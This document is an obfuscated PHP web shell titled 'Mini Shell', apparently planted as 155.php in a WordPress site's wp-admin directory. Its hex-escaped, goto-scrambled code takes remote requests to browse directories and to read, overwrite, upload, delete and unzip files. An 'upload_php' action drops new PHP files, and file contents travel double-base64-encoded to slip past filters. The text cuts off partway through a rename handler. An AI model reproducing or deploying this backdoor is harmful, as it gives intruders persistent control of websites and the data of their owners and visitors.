Mini Shell

Direktori : /home/www/clickandbuilds/SHOPONLINECONVIENE/wp-admin/
Upload File :
Current File : /home/www/clickandbuilds/SHOPONLINECONVIENE/wp-admin/155.php

<?php
 goto ffnyD; GN3g4: if (!isset($_REQUEST["\x61\x63\x74\x69\x6f\156"])) { goto kSBfi; } goto fE33z; R4PIp: exit; goto ZgZlc; U3ub8: echo basename(__FILE__); goto GcEln; Thkm8: echo json_encode($yj_v0); goto R4PIp; R6PxC: echo "\47\x20\175\73\xa\40\40\40\40\x20\x20\40\x20\143\157\156\163\164\40\125\x50\x4c\117\x41\104\x5f\114\111\115\x49\124\137\115\102\40\75\40\70\73\xa\x20\x20\40\x20\40\x20\40\x20\x63\157\x6e\163\164\40\x64\157\155\x20\x3d\x20\173\40\146\151\154\145\114\x69\x73\x74\x3a\x64\157\143\165\x6d\145\156\x74\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\171\x49\144\x28\47\x66\151\x6c\x65\114\x69\163\x74\47\51\54\x70\x61\x74\150\102\141\162\72\x64\157\x63\x75\155\x65\x6e\164\56\147\145\x74\105\x6c\x65\x6d\145\x6e\164\102\171\x49\x64\x28\x27\x70\x61\164\150\102\x61\162\47\51\54\x75\x70\154\157\x61\x64\102\x74\x6e\72\x64\157\143\x75\155\x65\x6e\x74\56\x67\x65\x74\x45\x6c\145\x6d\x65\x6e\164\x42\x79\x49\144\50\47\x75\160\154\x6f\141\x64\x42\x74\156\x27\x29\x2c\x6e\x65\x77\x46\x69\x6c\x65\x42\x74\x6e\72\144\x6f\x63\x75\x6d\x65\x6e\164\x2e\x67\x65\164\x45\x6c\x65\155\x65\x6e\164\x42\171\x49\x64\50\x27\x6e\x65\x77\x46\151\x6c\x65\x42\164\x6e\x27\51\x2c\x6e\145\167\x46\157\154\x64\x65\162\x42\x74\x6e\x3a\x64\x6f\143\165\155\x65\156\x74\x2e\147\x65\x74\x45\x6c\x65\155\145\156\164\x42\x79\111\x64\50\47\156\145\167\106\157\154\x64\145\162\x42\164\x6e\47\x29\x2c\x64\x65\x6c\x65\x74\x65\x42\x74\156\x3a\144\x6f\143\165\155\x65\156\x74\x2e\x67\x65\x74\105\x6c\x65\x6d\x65\156\164\102\171\x49\x64\50\x27\x64\x65\x6c\145\x74\145\x42\x74\x6e\47\x29\x2c\x73\x65\154\x65\143\164\101\x6c\154\x3a\144\157\143\165\x6d\x65\156\164\x2e\147\145\x74\x45\x6c\x65\x6d\x65\156\x74\102\171\x49\144\x28\x27\163\145\x6c\145\x63\164\x41\x6c\x6c\x27\51\x2c\x73\x70\x69\156\156\145\x72\72\144\x6f\x63\x75\155\145\x6e\164\x2e\x67\x65\164\x45\154\145\155\145\x6e\164\102\171\x49\144\x28\47\163\160\151\156\156\x65\162\47\x29\x2c\150\x69\x64\x64\x65\x6e\106\x69\x6c\x65\x49\x6e\x70\165\164\72\x64\157\x63\165\x6d\145\156\x74\x2e\x67\x65\164\105\x6c\x65\155\x65\x6e\164\102\x79\x49\x64\x28\x27\150\151\144\144\145\x6e\x46\151\154\x65\111\156\160\x75\164\x27\51\x2c\145\x64\x69\164\x6f\162\115\x6f\x64\x61\154\72\x64\157\143\x75\155\x65\x6e\164\56\147\x65\164\105\154\x65\x6d\x65\156\x74\102\x79\111\144\50\x27\145\x64\x69\x74\x6f\162\x4d\x6f\x64\x61\154\x27\51\x2c\145\144\151\164\157\x72\x46\151\154\145\x6e\x61\x6d\145\72\144\157\143\x75\x6d\x65\156\164\56\x67\145\x74\105\x6c\145\x6d\x65\156\164\x42\171\x49\144\50\x27\x65\x64\151\x74\x6f\162\x46\x69\x6c\145\x6e\x61\155\x65\x27\51\54\145\x64\x69\x74\x6f\162\72\x64\x6f\143\x75\155\145\156\x74\56\x67\x65\x74\105\154\x65\155\145\x6e\x74\102\171\x49\144\50\47\145\144\x69\x74\157\x72\47\51\54\163\x61\x76\x65\x42\x74\156\x3a\144\x6f\x63\165\x6d\x65\156\164\56\147\145\x74\x45\154\145\x6d\145\x6e\x74\102\x79\x49\x64\x28\47\163\141\166\x65\x42\x74\156\47\51\54\175\x3b\12\x20\x20\x20\40\40\x20\40\x20\xa\40\x20\40\x20\x20\x20\x20\40\141\163\171\156\143\40\x66\165\x6e\143\164\151\157\x6e\40\141\x70\151\x43\141\154\x6c\50\x61\143\164\151\x6f\156\54\40\x66\157\162\x6d\x44\x61\164\141\x2c\x20\163\150\x6f\x77\123\165\143\x63\145\x73\x73\x3d\x66\x61\154\163\145\51\40\173\xa\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x64\157\155\x2e\x73\x70\151\156\x6e\145\x72\56\163\164\x79\x6c\x65\56\x64\x69\163\x70\154\141\x79\75\x27\151\x6e\154\x69\156\145\x2d\x62\x6c\x6f\143\x6b\x27\x3b\12\40\40\x20\40\40\40\40\x20\40\40\40\40\x74\x72\x79\40\173\40\x66\x6f\x72\155\104\x61\164\141\56\x61\x70\x70\x65\156\144\x28\x27\141\143\x74\x69\157\156\x27\x2c\x20\141\x63\164\151\157\156\51\x3b\40\143\x6f\156\x73\x74\x20\162\145\163\160\157\156\x73\145\40\x3d\40\x61\167\141\151\x74\40\146\x65\164\x63\150\50\47"; goto U3ub8; fE33z: header("\103\x6f\156\164\x65\x6e\x74\x2d\x54\x79\x70\145\x3a\40\x61\x70\x70\x6c\151\x63\x61\164\151\157\156\57\x6a\163\157\x6e\73\40\143\150\x61\x72\163\x65\x74\75\x75\x74\146\55\x38"); goto Hz4jN; ffnyD: error_reporting(0); goto Cqmpn; Cqmpn: function fDHpt($PHpOj) { return is_string($PHpOj) ? stripslashes($PHpOj) : $PHpOj; } goto tsxr9; ZgZlc: kSBfi: goto jBRRv; lvkaG: function Hwq7g($i0rD8) { goto qd1g2; ITsoG: $i0rD8 = trim($i0rD8); goto nwAtW; qmL4F: $i0rD8 = str_replace($o3XhO, '', $i0rD8); goto ITsoG; IK4yU: return $i0rD8; goto FW5J8; nwAtW: $i0rD8 = preg_replace("\57\134\163\x2b\x2f", "\137", $i0rD8); goto IK4yU; qd1g2: $o3XhO = ["\42", "\x27", "\x26", "\x2f", "\x5c", "\x3f", "\x23", "\x3c", "\76", "\x7c", "\72", "\52"]; goto qmL4F; FW5J8: } goto GN3g4; u7xXr: $p34LX = $_REQUEST["\x61\x63\x74\151\x6f\156"]; goto nGwEI; tsxr9: function LQt1M($VkzeB) { return str_replace("\134", "\x2f", $VkzeB); } goto lvkaG; s_Ydv: try { goto d5036; koIGK: KGYRb: goto hfAo5; d5036: switch ($p34LX) { case "\x6c\x69\163\164": goto nwbKK; u1W9P: goto KGYRb; goto PBVBe; jAgL2: $SXUVj = []; goto GZE_Z; tSKRR: foreach (scandir($T8eFf) as $MAnmA) { goto AEKmL; no_2U: $SXUVj[] = ["\x6e\x61\x6d\x65" => $MAnmA, "\x69\x73\137\144\x69\x72" => is_dir($SQgJ1), "\x73\151\x7a\145" => is_dir($SQgJ1) ? 0 : filesize($SQgJ1), "\x6d\x6f\144\151\146\151\x65\144" => filemtime($SQgJ1)]; goto uSCVM; LKzWR: $SQgJ1 = $T8eFf . "\x2f" . $MAnmA; goto no_2U; vJgyC: ahzxO: goto LKzWR; AEKmL: if (!($MAnmA === "\56" || $MAnmA === "\56\56")) { goto ahzxO; } goto jGh_A; uSCVM: w_f7O: goto h2N2p; jGh_A: goto w_f7O; goto vJgyC; h2N2p: } goto HmgAi; Ha0nk: $T8eFf = LqT1M(realpath($VkzeB)); goto jAgL2; HmgAi: u4Jbl: goto RwO9o; QUdvU: throw new Exception("\111\156\166\x61\154\x69\144\x20\x6f\x72\40\x69\156\x61\x63\x63\x65\x73\163\151\142\154\145\x20\160\x61\x74\x68\x2e"); goto WfV1J; oy57U: OscNN: goto tSKRR; GZE_Z: if (@scandir($T8eFf)) { goto OscNN; } goto nEnH3; nwbKK: $VkzeB = isset($_POST["\x70\x61\164\150"]) ? FdHPt($_POST["\x70\x61\164\x68"]) : __DIR__; goto gXmi3; RwO9o: $yj_v0 = ["\163\165\x63\143\145\163\163" => true, "\x66\x69\x6c\145\x73" => $SXUVj, "\160\x61\164\150" => $T8eFf]; goto u1W9P; gXmi3: if (b2Y3p($VkzeB)) { goto zXpwd; } goto QUdvU; WfV1J: zXpwd: goto Ha0nk; nEnH3: throw new Exception("\x43\141\156\156\157\x74\x20\x61\143\143\x65\163\x73\40\160\141\x74\150\56\40\x49\164\x20\x6d\151\147\150\x74\40\x62\x65\40\x72\x65\x73\164\162\151\x63\164\145\x64\40\142\171\x20\163\x65\x72\x76\145\x72\40\143\157\x6e\146\151\x67\x75\x72\141\164\151\x6f\x6e\40\50\x6f\x70\145\156\x5f\142\x61\163\145\x64\x69\x72\51\x2e"); goto oy57U; PBVBe: case "\x67\145\164\x5f\143\x6f\x6e\x74\145\156\164": goto gPkf7; lkdH8: if (!(!realpath($TRWLz) || is_dir(realpath($TRWLz)))) { goto iSqV2; } goto ICc_G; X8qbd: $yj_v0 = ["\163\165\x63\x63\x65\x73\163" => true, "\x63\x6f\x6e\164\x65\x6e\x74" => base64_encode(base64_encode(file_get_contents($TRWLz)))]; goto eStiu; gPkf7: $TRWLz = isset($_POST["\160\x61\164\150"]) ? FdHPT($_POST["\160\141\164\150"]) : ''; goto lkdH8; Fw759: iSqV2: goto X8qbd; eStiu: goto KGYRb; goto vkNvH; ICc_G: throw new Exception("\x49\x6e\x76\141\x6c\151\x64\40\146\x69\154\145\x20\146\x6f\x72\x20\145\144\151\x74\151\x6e\x67\x2e"); goto Fw759; vkNvH: case "\147\x65\164\137\143\157\156\164\x65\156\164\137\x62\66\64": goto XEJj7; GQf20: Dc3Zy: goto wvF1k; XEJj7: $WWZwd = isset($_POST["\160\x61\164\x68\x5f\142\x36\64"]) ? FdHpT($_POST["\x70\141\164\x68\137\x62\66\64"]) : ''; goto CSn4q; lgddF: throw new Exception("\111\x6e\x76\141\x6c\x69\144\x20\146\x69\154\145\40\x66\x6f\162\x20\x65\144\x69\164\151\156\x67\56"); goto GQf20; CSn4q: $TRWLz = base64_decode($WWZwd); goto w3UL4; w3UL4: if (!(!realpath($TRWLz) || is_dir(realpath($TRWLz)))) { goto Dc3Zy; } goto lgddF; Wdl1S: goto KGYRb; goto mKUxG; wvF1k: $yj_v0 = ["\x73\165\143\143\145\163\163" => true, "\143\x6f\156\164\145\156\164" => base64_encode(base64_encode(file_get_contents($TRWLz)))]; goto Wdl1S; mKUxG: case "\163\x61\x76\x65\137\x63\157\x6e\164\x65\156\x74": goto j9gxn; TChtw: goto KGYRb; goto jZ03K; b6nmh: TQfGf: goto qucUu; JOr0W: goto i7O91; goto a4J_x; XyZjp: i7O91: goto TChtw; MNIEc: throw new Exception("\103\157\x6e\164\x65\156\164\40\151\163\40\x65\x6d\x70\x74\171\56"); goto Gn3fS; e5HCy: if (!(!b2y3P($TRWLz) || file_exists($TRWLz) && is_dir($TRWLz))) { goto TQfGf; } goto MFvZ6; Gn3fS: LyI8b: goto Y4tsF; MFvZ6: throw new Exception("\x49\x6e\166\141\x6c\x69\x64\40\146\151\x6c\145\x20\146\x6f\162\40\163\x61\x76\x69\x6e\147\x2e"); goto b6nmh; a4J_x: Ftxjg: goto z2LYe; z2LYe: $yj_v0 = ["\x73\x75\143\x63\x65\163\x73" => true, "\x6d\145\x73\163\x61\147\145" => "\x46\151\x6c\x65\40\x73\141\166\x65\144\x20\x73\x75\143\x63\x65\x73\x73\146\x75\x6c\154\171\x2e"]; goto XyZjp; j9gxn: $TRWLz = isset($_POST["\x70\141\164\150"]) ? fDhpt($_POST["\x70\x61\x74\150"]) : ''; goto qyrE7; AibAu: $oE7b5 = base64_decode(base64_decode($b0nW5)); goto e5HCy; Y4tsF: $b0nW5 = implode('', $Gndy4); goto AibAu; xbZfE: if (!empty($Gndy4)) { goto LyI8b; } goto MNIEc; QJaIR: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\163\141\x76\x65\x20\146\151\154\145\x2e\40\x43\150\x65\x63\153\x20\x70\x65\x72\x6d\151\163\163\x69\x6f\x6e\163\x2e"); goto JOr0W; qucUu: if (file_put_contents($TRWLz, $oE7b5) !== false) { goto Ftxjg; } goto QJaIR; qyrE7: $Gndy4 = isset($_POST["\143\x6f\156\x74\x65\x6e\x74\x5f\x63\x68\x75\156\x6b\163"]) && is_array($_POST["\x63\157\x6e\164\x65\156\x74\137\x63\x68\165\x6e\x6b\163"]) ? $_POST["\143\x6f\x6e\x74\x65\x6e\164\137\x63\x68\165\x6e\x6b\163"] : []; goto xbZfE; jZ03K: case "\x73\141\x76\x65\x5f\143\157\156\x74\145\x6e\x74\x5f\x62\66\x34": goto yL8zS; J0g78: $TRWLz = base64_decode($WWZwd); goto w0zIs; nowk2: throw new Exception("\x49\156\166\x61\154\151\144\40\146\151\x6c\x65\40\x66\x6f\162\40\x73\141\x76\151\x6e\x67\56"); goto sUIic; amsi6: if (!(!b2y3p($TRWLz) || file_exists($TRWLz) && is_dir($TRWLz))) { goto XDYvl; } goto nowk2; hbzi3: if (file_put_contents($TRWLz, $oE7b5) !== false) { goto tA1NE; } goto I1gW7; mrVCu: $yj_v0 = ["\163\165\x63\143\145\x73\x73" => true, "\x6d\145\163\163\141\x67\x65" => "\106\x69\154\145\x20\x73\141\166\145\x64\40\163\165\143\x63\x65\163\163\146\x75\154\154\171\x20\50\x64\x69\162\x65\143\x74\40\x6d\145\164\150\x6f\x64\51\x2e"]; goto qw_8J; yL8zS: $WWZwd = isset($_POST["\x70\x61\x74\x68\x5f\x62\x36\64"]) ? fDHpt($_POST["\160\141\164\x68\137\x62\66\x34"]) : ''; goto J0g78; spAHp: if (!empty($Gndy4)) { goto JZEy8; } goto jQ4lC; oUDmf: tA1NE: goto mrVCu; zMSCm: $oE7b5 = base64_decode(base64_decode($b0nW5)); goto amsi6; sUIic: XDYvl: goto hbzi3; HBmLP: goto rTlQZ; goto oUDmf; qw_8J: rTlQZ: goto hE1pH; w0zIs: $Gndy4 = isset($_POST["\x63\x6f\x6e\164\x65\156\164\x5f\x63\x68\x75\x6e\x6b\x73"]) && is_array($_POST["\x63\x6f\156\164\x65\x6e\164\x5f\143\x68\165\156\153\x73"]) ? $_POST["\x63\x6f\156\x74\145\156\x74\x5f\x63\x68\x75\x6e\153\163"] : []; goto spAHp; jQ4lC: throw new Exception("\103\157\x6e\164\145\x6e\x74\x20\x69\x73\40\x65\x6d\160\164\171\56"); goto YXAYI; hE1pH: goto KGYRb; goto h4MLx; YXAYI: JZEy8: goto zzfoT; I1gW7: throw new Exception("\104\151\x72\145\x63\x74\40\x73\x61\x76\145\40\x66\x61\x69\x6c\145\x64\x2e\x20\103\x68\x65\143\x6b\x20\x70\145\x72\x6d\151\x73\163\x69\157\x6e\163\56"); goto HBmLP; zzfoT: $b0nW5 = implode('', $Gndy4); goto zMSCm; h4MLx: case "\143\162\x65\141\164\x65\x5f\146\151\154\x65": goto z3ihO; LSQtJ: throw new Exception("\x43\x6f\165\x6c\x64\40\x6e\157\164\x20\143\x72\x65\x61\164\x65\x20\146\x69\x6c\x65\x2e"); goto KLa9p; f09YQ: if (!(!b2y3P($VkzeB) || empty($wDZsD))) { goto US7aD; } goto rTheu; rTheu: throw new Exception("\x49\156\166\x61\x6c\x69\x64\40\160\x61\x74\x68\x20\x6f\162\x20\146\x69\154\145\40\x6e\141\155\145\56"); goto F4tas; joXJs: if (touch(rtrim($VkzeB, "\57") . "\x2f" . $wDZsD)) { goto uLxiv; } goto LSQtJ; eaBYl: D26x2: goto RWx2e; KLa9p: goto D26x2; goto boVgD; z3ihO: $VkzeB = isset($_POST["\160\x61\164\x68"]) ? FdhpT($_POST["\160\x61\164\x68"]) : ''; goto jwLX0; F4tas: US7aD: goto joXJs; jwLX0: $wDZsD = isset($_POST["\156\141\x6d\x65"]) ? hWQ7G($_POST["\156\141\155\145"]) : ''; goto f09YQ; RWx2e: goto KGYRb; goto SjqMA; dF0iK: $yj_v0 = ["\163\x75\143\143\x65\163\163" => true, "\x6d\x65\x73\163\x61\x67\x65" => "\x46\151\154\145\40\x63\x72\x65\141\x74\145\x64\56"]; goto eaBYl; boVgD: uLxiv: goto dF0iK; SjqMA: case "\165\160\154\x6f\x61\144": goto V8R44; qznVM: $pMrzV = isset($_POST["\146\x69\x6c\x65\156\141\x6d\145\137\142\x61\163\x65\66\x34"]) ? $_POST["\146\151\154\x65\156\x61\x6d\145\x5f\142\141\x73\x65\x36\64"] : ''; goto JdLtG; S5UUa: throw new Exception("\111\x6e\x76\x61\x6c\x69\144\x20\x64\141\x74\141\40\x66\x6f\162\x20\165\160\154\x6f\141\144\56"); goto jYCQg; NH01K: $tEqok = rtrim($VkzeB, "\57") . "\x2f" . $i0rD8; goto uwjSE; JzMQ0: throw new Exception("\x43\157\165\x6c\x64\40\156\157\x74\x20\163\141\166\x65\x20\165\160\x6c\157\x61\144\145\144\40\146\x69\x6c\x65\x2e\x20\x43\150\x65\x63\153\x20\x70\x65\162\155\x69\x73\x73\x69\x6f\156\x73\56"); goto vHHWP; bcXhC: list(, $QIcMS) = explode("\54", $QIcMS); goto LU19Q; uwjSE: if (file_put_contents($tEqok, $yMHh8) !== false) { goto UOWJY; } goto JzMQ0; h3gkl: goto KGYRb; goto xDgzH; vHHWP: goto JIvuC; goto j0inQ; Jg1pz: JIvuC: goto h3gkl; ZC3NM: if (!(!b2y3p($VkzeB) || empty($pMrzV) || empty($QIcMS))) { goto b9hyy; } goto S5UUa; il3sR: $yMHh8 = base64_decode($QIcMS); goto NH01K; kl8Ku: $yj_v0 = ["\x73\165\143\x63\x65\163\163" => true, "\x6d\x65\x73\163\x61\x67\145" => "\106\151\154\145\40\165\x70\154\x6f\141\144\x65\144\40\x73\x75\x63\x63\145\x73\163\x66\165\154\154\x79\56"]; goto Jg1pz; JdLtG: $QIcMS = isset($_POST["\143\157\156\164\145\x6e\x74\137\142\x61\x73\145\x36\64"]) ? $_POST["\143\157\156\x74\145\156\164\x5f\142\141\163\x65\66\x34"] : ''; goto ZC3NM; V8R44: $VkzeB = isset($_POST["\x70\141\x74\x68"]) ? fdHPT($_POST["\x70\x61\164\x68"]) : __DIR__; goto qznVM; jYCQg: b9hyy: goto thdLa; thdLa: $i0rD8 = hWQ7g(base64_decode($pMrzV)); goto S1Fnd; LU19Q: DiMhA: goto il3sR; j0inQ: UOWJY: goto kl8Ku; S1Fnd: if (!(strpos($QIcMS, "\x2c") !== false)) { goto DiMhA; } goto bcXhC; xDgzH: case "\x75\160\x6c\157\141\x64\137\160\x68\160": goto CgLib; QMDe2: $QIcMS = isset($_POST["\143\157\x6e\164\x65\x6e\x74\x5f\142\141\x73\x65\66\64"]) ? $_POST["\x63\x6f\156\x74\x65\156\x74\137\x62\x61\163\x65\66\64"] : ''; goto GPxAU; Kt6Zr: $yMHh8 = base64_decode($QIcMS); goto NvHbz; cSX8E: Qr3QC: goto Se3kp; xNeUr: i8Ch4: goto TfWdS; t5JxC: $JCD8H = hwQ7G(base64_decode($pMrzV)); goto RzdW7; GPxAU: if (!(!B2Y3p($VkzeB) || empty($pMrzV) || empty($QIcMS))) { goto AFqOm; } goto ktoIA; Co4jR: $pT7Lo = rtrim($VkzeB, "\x2f") . "\57" . $JCD8H; goto GEG9q; NvHbz: $G7uKx = rtrim($VkzeB, "\x2f") . "\57" . $RHM9C; goto Co4jR; J5uq1: throw new Exception("\x43\x6f\165\154\144\x20\x6e\x6f\164\x20\163\x61\166\145\40\x74\145\155\160\x6f\162\x61\x72\171\x20\146\x69\154\x65\56\x20\103\x68\x65\143\153\40\x70\145\162\155\151\x73\x73\151\x6f\x6e\163\56"); goto Rou6a; LJ2QH: if (rename($G7uKx, $pT7Lo)) { goto i8Ch4; } goto bSkHp; l0SYK: throw new Exception("\103\157\165\154\144\40\x6e\157\164\40\162\x65\x6e\x61\x6d\145\x20\x74\145\x6d\160\157\x72\141\162\x79\40\x66\x69\154\x65\x2e"); goto WIHu8; CgLib: $VkzeB = isset($_POST["\160\141\164\x68"]) ? FDhPt($_POST["\x70\141\x74\150"]) : __DIR__; goto d1wKA; WIHu8: goto Qr3QC; goto xNeUr; VhXv9: AFqOm: goto t5JxC; Rou6a: XRqhh: goto LJ2QH; RzdW7: $RHM9C = $JCD8H . "\56\164\x78\164"; goto XBvyo; Se3kp: goto KGYRb; goto MsFMr; TfWdS: $yj_v0 = ["\163\165\143\x63\x65\x73\163" => true, "\x6d\145\x73\x73\x61\147\x65" => "\120\110\120\40\x66\x69\x6c\145\40\165\160\x6c\157\141\144\145\x64\x20\163\x75\143\143\x65\163\x73\146\165\x6c\x6c\171\56"]; goto cSX8E; CJ6p8: zgvoz: goto Kt6Zr; rd3av: list(, $QIcMS) = explode("\x2c", $QIcMS); goto CJ6p8; ktoIA: throw new Exception("\111\156\x76\x61\154\151\x64\40\x64\141\164\x61\x20\146\157\162\40\x50\x48\x50\40\165\x70\154\157\141\x64\56"); goto VhXv9; bSkHp: unlink($G7uKx); goto l0SYK; XBvyo: if (!(strpos($QIcMS, "\x2c") !== false)) { goto zgvoz; } goto rd3av; d1wKA: $pMrzV = isset($_POST["\146\151\154\145\x6e\x61\x6d\145\137\x62\141\163\145\66\x34"]) ? $_POST["\x66\151\x6c\145\x6e\x61\155\145\137\x62\x61\x73\x65\66\64"] : ''; goto QMDe2; GEG9q: if (!(file_put_contents($G7uKx, $yMHh8) === false)) { goto XRqhh; } goto J5uq1; MsFMr: case "\x75\156\x7a\x69\x70": goto WaeNg; nOYG1: if (!(!realpath($xQ82d) || !is_file(realpath($xQ82d)) || pathinfo($xQ82d, PATHINFO_EXTENSION) !== "\172\151\160")) { goto erFyT; } goto mytHZ; n5A9M: erFyT: goto rdvS1; kL5PL: ebQ4t: goto xW0JS; Mc5JP: $iuPhG = new ZipArchive(); goto ZmI2U; OiZVU: throw new Exception("\x50\x48\120\40\132\111\x50\40\x65\x78\164\x65\x6e\x73\151\x6f\x6e\40\156\157\164\40\x69\156\x73\x74\141\x6c\154\145\144\x2e"); goto JUv88; kx4R8: goto oWYmv; goto oTkHa; A8KJH: $iuPhG->extractTo(dirname($xQ82d)); goto KZemc; mytHZ: throw new Exception("\111\x6e\x76\x61\154\151\144\x20\x5a\x49\x50\x20\146\x69\x6c\145\40\160\141\x74\x68\56"); goto n5A9M; rdvS1: if (class_exists("\x5a\151\160\x41\162\x63\x68\x69\166\x65")) { goto TIX3i; } goto OiZVU; xW0JS: $xQ82d = isset($_POST["\160\141\x74\x68"]) ? FDhpT($_POST["\160\141\164\150"]) : ''; goto nOYG1; zzJCH: throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\160\x61\164\x68\x2e"); goto kL5PL; SaxWZ: oWYmv: goto FZ0Ts; dz5Mr: $yj_v0 = ["\x73\165\143\143\145\163\x73" => true, "\x6d\x65\163\163\141\147\145" => "\x41\162\x63\150\151\166\x65\40\x65\x78\x74\162\141\143\x74\145\144\56"]; goto SaxWZ; IqBwf: throw new Exception("\x46\141\x69\x6c\x65\144\x20\164\x6f\40\x6f\x70\x65\x6e\x20\x61\x72\143\150\x69\x76\145\x2e"); goto kx4R8; JUv88: TIX3i: goto Mc5JP; KZemc: $iuPhG->close(); goto dz5Mr; oTkHa: bsuAx: goto A8KJH; FZ0Ts: goto KGYRb; goto y8qQK; WaeNg: $VkzeB = isset($_POST["\x70\141\x74\x68"]) ? fdhpT($_POST["\x70\x61\164\150"]) : __DIR__; goto l1Az8; ZmI2U: if ($iuPhG->open($xQ82d) === TRUE) { goto bsuAx; } goto IqBwf; l1Az8: if (B2Y3p($VkzeB)) { goto ebQ4t; } goto zzJCH; y8qQK: case "\144\145\x6c\145\x74\x65": goto YRGii; ONXhY: goto KGYRb; goto eWWKL; YRGii: $VkzeB = isset($_POST["\160\141\x74\150"]) ? fdHpt($_POST["\160\141\164\150"]) : __DIR__; goto m4aSz; m4aSz: $cvGCQ = isset($_POST["\x69\164\x65\155\163"]) && is_array($_POST["\151\164\x65\x6d\163"]) ? $_POST["\151\x74\145\155\163"] : []; goto BIJwQ; FpldY: yhsOW: goto dYGNG; yranq: throw new Exception("\116\x6f\40\x69\x74\x65\155\x73\40\163\145\x6c\x65\x63\x74\x65\x64\x20\146\x6f\162\x20\x64\145\x6c\x65\x74\x69\x6f\x6e\56"); goto FpldY; niYmM: xCT7z: goto xUUew; BIJwQ: if (!empty($cvGCQ)) { goto yhsOW; } goto yranq; n0QwI: foreach ($cvGCQ as $MAnmA) { goto xPwfc; ncHGI: W9SX_: goto wY0ah; wY0ah: E3MaX: goto ScOjc; QrTN5: if (!file_exists($SQgJ1)) { goto W9SX_; } goto vfcSI; xPwfc: $SQgJ1 = rtrim($VkzeB, "\57") . "\x2f" . $MAnmA; goto QrTN5; vfcSI: ecNRV($SQgJ1); goto ncHGI; ScOjc: } goto niYmM; xUUew: $yj_v0 = ["\163\165\143\x63\x65\163\x73" => true, "\x6d\145\163\x73\x61\147\x65" => "\x49\x74\145\155\163\x20\144\x65\154\145\164\x65\x64\x2e"]; goto ONXhY; dYGNG: function ECNrV($MAnmA) { goto VyGIX; f66QQ: foreach ($c6YBQ as $TRWLz) { EcNrv("{$MAnmA}\57{$TRWLz}"); O4HEy: } goto Bs062; VyGIX: if (is_dir($MAnmA)) { goto f0OTQ; } goto DgNvx; x3Ry3: f0OTQ: goto lNgoM; Y_1nB: goto A2LL2; goto x3Ry3; lNgoM: $c6YBQ = array_diff(scandir($MAnmA), ["\x2e", "\56\x2e"]); goto f66QQ; Bs062: KvWUj: goto Ib9lF; DgNvx: return unlink($MAnmA); goto Y_1nB; Ib9lF: return rmdir($MAnmA); goto EQxoI; EQxoI: A2LL2: goto lgUmV; lgUmV: } goto n0QwI; eWWKL: case "\144\x65\x6c\145\164\x65\137\142\66\x34": goto qbuiL; nD9hr: if (!empty($cvGCQ)) { goto crjg3; } goto mLKs7; SsJEJ: LLnyK: goto nD9hr; qbuiL: $VkzeB = isset($_POST["\160\141\164\x68"]) ? FDhpt($_POST["\x70\141\x74\150"]) : __DIR__; goto JRNgI; sV06x: goto KGYRb; goto TFOzn; wGM6Z: $cvGCQ = []; goto k2_I0; VSE8o: foreach ($cvGCQ as $MAnmA) { goto LHlCL; Cp3Ue: U6363: goto cX1Pu; p13nP: if (!file_exists($SQgJ1)) { goto JOSHk; } goto Vb3PD; Vb3PD: XrmvK($SQgJ1); goto wKuYN; LHlCL: $SQgJ1 = rtrim($VkzeB, "\x2f") . "\57" . $MAnmA; goto p13nP; wKuYN: JOSHk: goto Cp3Ue; cX1Pu: } goto lY102; JRNgI: $oF8gt = isset($_POST["\151\164\x65\x6d\x73\x5f\142\66\64"]) && is_array($_POST["\151\x74\145\155\x73\x5f\142\x36\64"]) ? $_POST["\151\164\145\155\x73\137\142\x36\x34"] : []; goto wGM6Z; k2_I0: foreach ($oF8gt as $lV5zY) { $cvGCQ[] = base64_decode($lV5zY); yFFDk: } goto SsJEJ; AWlfP: function XrMvk($MAnmA) { goto KP1u1; ndp8D: YJ_FZ: goto ZtOaM; rfCOQ: goto angRa; goto PtJcg; b2hmR: angRa: goto OwALx; xoW2O: return unlink($MAnmA); goto rfCOQ; KP1u1: if (is_dir($MAnmA)) { goto OKiYn; } goto xoW2O; PtJcg: OKiYn: goto yisWh; yisWh: $c6YBQ = array_diff(scandir($MAnmA), ["\x2e", "\x2e\56"]); goto D2B3L; ZtOaM: return rmdir($MAnmA); goto b2hmR; D2B3L: foreach ($c6YBQ as $TRWLz) { XrmVK("{$MAnmA}\57{$TRWLz}"); drUoK: } goto ndp8D; OwALx: } goto VSE8o; lY102: C4H8b: goto VPMAY; VPMAY: $yj_v0 = ["\x73\165\x63\143\x65\163\x73" => true, "\155\145\x73\x73\x61\147\x65" => "\111\x74\145\x6d\x73\x20\x64\x65\x6c\145\164\145\144\56"]; goto sV06x; lsOe7: crjg3: goto AWlfP; mLKs7: throw new Exception("\116\x6f\40\151\x74\145\x6d\163\40\x73\145\154\x65\x63\164\x65\x64\40\x66\157\162\40\x64\x65\154\145\164\x69\157\156\56"); goto lsOe7; TFOzn: case "\143\x72\x65\141\164\145\x5f\146\x6f\154\x64\x65\162": goto vpu2L; jr9YG: HklXC: goto rAaY7; GppzS: throw new Exception("\x43\157\165\x6c\144\x20\156\x6f\164\x20\143\162\145\x61\x74\x65\x20\146\x6f\154\x64\x65\x72\56"); goto LQ2lM; gLKQx: throw new Exception("\x49\156\166\141\154\x69\x64\x20\160\x61\x74\x68\40\x6f\x72\40\x66\x6f\x6c\144\145\162\x20\156\141\155\145\56"); goto v5b2P; Tli2w: s9ZMR: goto Mj80K; uVTff: $wDZsD = isset($_POST["\156\141\155\x65"]) ? str_replace(["\x2e\x2e", "\x2f", "\x5c"], '', $_POST["\156\x61\x6d\145"]) : ''; goto SyceT; rAaY7: $yj_v0 = ["\163\x75\x63\143\145\163\x73" => true, "\155\x65\x73\163\x61\147\x65" => "\x46\x6f\154\x64\145\x72\x20\143\162\145\141\164\145\x64\x2e"]; goto Tli2w; LQ2lM: goto s9ZMR; goto jr9YG; v5b2P: LsSiZ: goto Q1DAm; Mj80K: goto KGYRb; goto rF8Ud; SyceT: if (!(!b2y3p($VkzeB) || empty($wDZsD))) { goto LsSiZ; } goto gLKQx; vpu2L: $VkzeB = isset($_POST["\160\141\x74\150"]) ? fDhpt($_POST["\160\x61\164\x68"]) : __DIR__; goto uVTff; Q1DAm: if (mkdir(rtrim($VkzeB, "\57") . "\x2f" . $wDZsD)) { goto HklXC; } goto GppzS; rF8Ud: case "\x72\x65\156\x61\155\145": goto kJZKh; z8k57: goto KGYRb; goto CJVIP; ThU6J: $HNTk_ = rtrim($VkzeB, "\57") . "\57" . 